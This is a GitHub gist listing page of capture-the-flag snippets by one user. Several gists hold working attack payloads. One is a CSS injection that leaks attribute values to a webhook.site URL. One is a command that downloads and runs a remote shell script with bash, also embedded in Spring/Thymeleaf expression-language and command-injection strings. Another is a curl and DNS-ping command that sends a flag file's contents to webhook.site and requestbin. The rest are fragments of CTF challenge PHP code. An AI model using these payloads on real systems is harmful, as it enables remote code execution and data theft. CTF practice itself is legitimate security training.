Skip to content

Instantly share code, notes, and snippets.

View matuhn's full-sized avatar
😍

Bùi Đức Anh Khoa matuhn

😍
22 followers · 11 following
View GitHub Profile
@matuhn
matuhn / hitb
Created August 31, 2019 05:57
Azure;}a[class="card-link"][data-target^="#share-a"]{background:url("http://webhook.site/5162cb3f-5af0-4de2-97ef-49b5970b2219/?e-a");}a[class="card-link"][data-target^="#share-b"]{background:url("http://webhook.site/5162cb3f-5af0-4de2-97ef-49b5970b2219/?e-b");}a[class="card-link"][data-target^="#share-c"]{background:url("http://webhook.site/5162cb3f-5af0-4de2-97ef-49b5970b2219/?e-c");}a[class="card-link"][data-target^="#share-d"]{background:url("http://webhook.site/5162cb3f-5af0-4de2-97ef-49b5970b2219/?e-d");}a[class="card-link"][data-target^="#share-e"]{background:url("http://webhook.site/5162cb3f-5af0-4de2-97ef-49b5970b2219/?e-e");}a[class="card-link"][data-target^="#share-f"]{background:url("http://webhook.site/5162cb3f-5af0-4de2-97ef-49b5970b2219/?e-f");}a[class="card-link"][data-target^="#share-g"]{background:url("http://webhook.site/5162cb3f-5af0-4de2-97ef-49b5970b2219/?e-g");}a[class="card-link"][data-target^="#share-h"]{background:url("http://webhook.site/5162cb3f-5af0-4de2-97ef-49b5970b2219/?e-h");}a
@matuhn
matuhn / BackconnectWithoutNetcat
Created July 9, 2019 08:44
wget https://raw.githubusercontent.com/matuhn/CTFtricks/master/shell.sh
bash shell.sh
EL Injection:
<p th:text="${T(java.lang.Runtime).getRuntime().exec('wget https://raw.githubusercontent.com/matuhn/CTFtricks/master/shell.sh; bash shell.sh')}" ></p>
RCE:
google.com;wget https://raw.githubusercontent.com/matuhn/CTFtricks/master/shell.sh; bash shell.sh')}"
@matuhn
matuhn / RCE
Created July 2, 2019 09:27
MatesCTF2019
-d"@/home/munchi/munchi/flag" http://webhook.site/18b1a799-1684-4125-afa7-13b37b9c6964
google.com | cat /home/munchi/munchi/flag | curl –F":data=@-" http://webhook.site/18b1a799-1684-4125-afa7-13b37b9c6964
google.com | ping ${cat /home/munchi/munchi/flag}.2c7008c15444c1c5809f.d.requestbin.net
@matuhn
matuhn / BetBungbuy
Created June 10, 2019 13:30
FUCTFss1 - Bet Bủng
<?php include('header.php'); ?>
<?php
class khoadeptrai
{
var $jackpot;
var $enter;
var $value;
}
?>
@matuhn
matuhn / BetBungbet
Created June 10, 2019 13:29
FUCTFss1 - Bet Bủng
<?php include('header.php'); ?>
<?php
class khoadeptrai
{
var $jackpot;
var $enter;
var $value;
var $otp;
}
@matuhn
matuhn / Only Dr.Strange can do this
Created June 10, 2019 13:27
FUCTFss1 -
if (isset ($_GET['number'])) {
if ($_GET['number'] == $_SESSION['number'])
die ('Flag: '.$flag);
else
$result .='<p>Wrong guess.</p></br>'.$_SESSION['number'];
}
$_SESSION['number'] = (rand(1,999)^rand(1,999)+rand(1,999))/rand(1,999);
@matuhn
matuhn / babywarmup
Created June 10, 2019 13:25
FUCTFss1 - BabyWarmup
<?php
if (!isset($_SESSION['level'])){
$_SESSION['level'] = 'level1';
}
if ($_SESSION['level'] == 'level1'){
if ($_SERVER['REQUEST_METHOD'] === 'POST'){
$_SESSION['level'] = 'level2';
}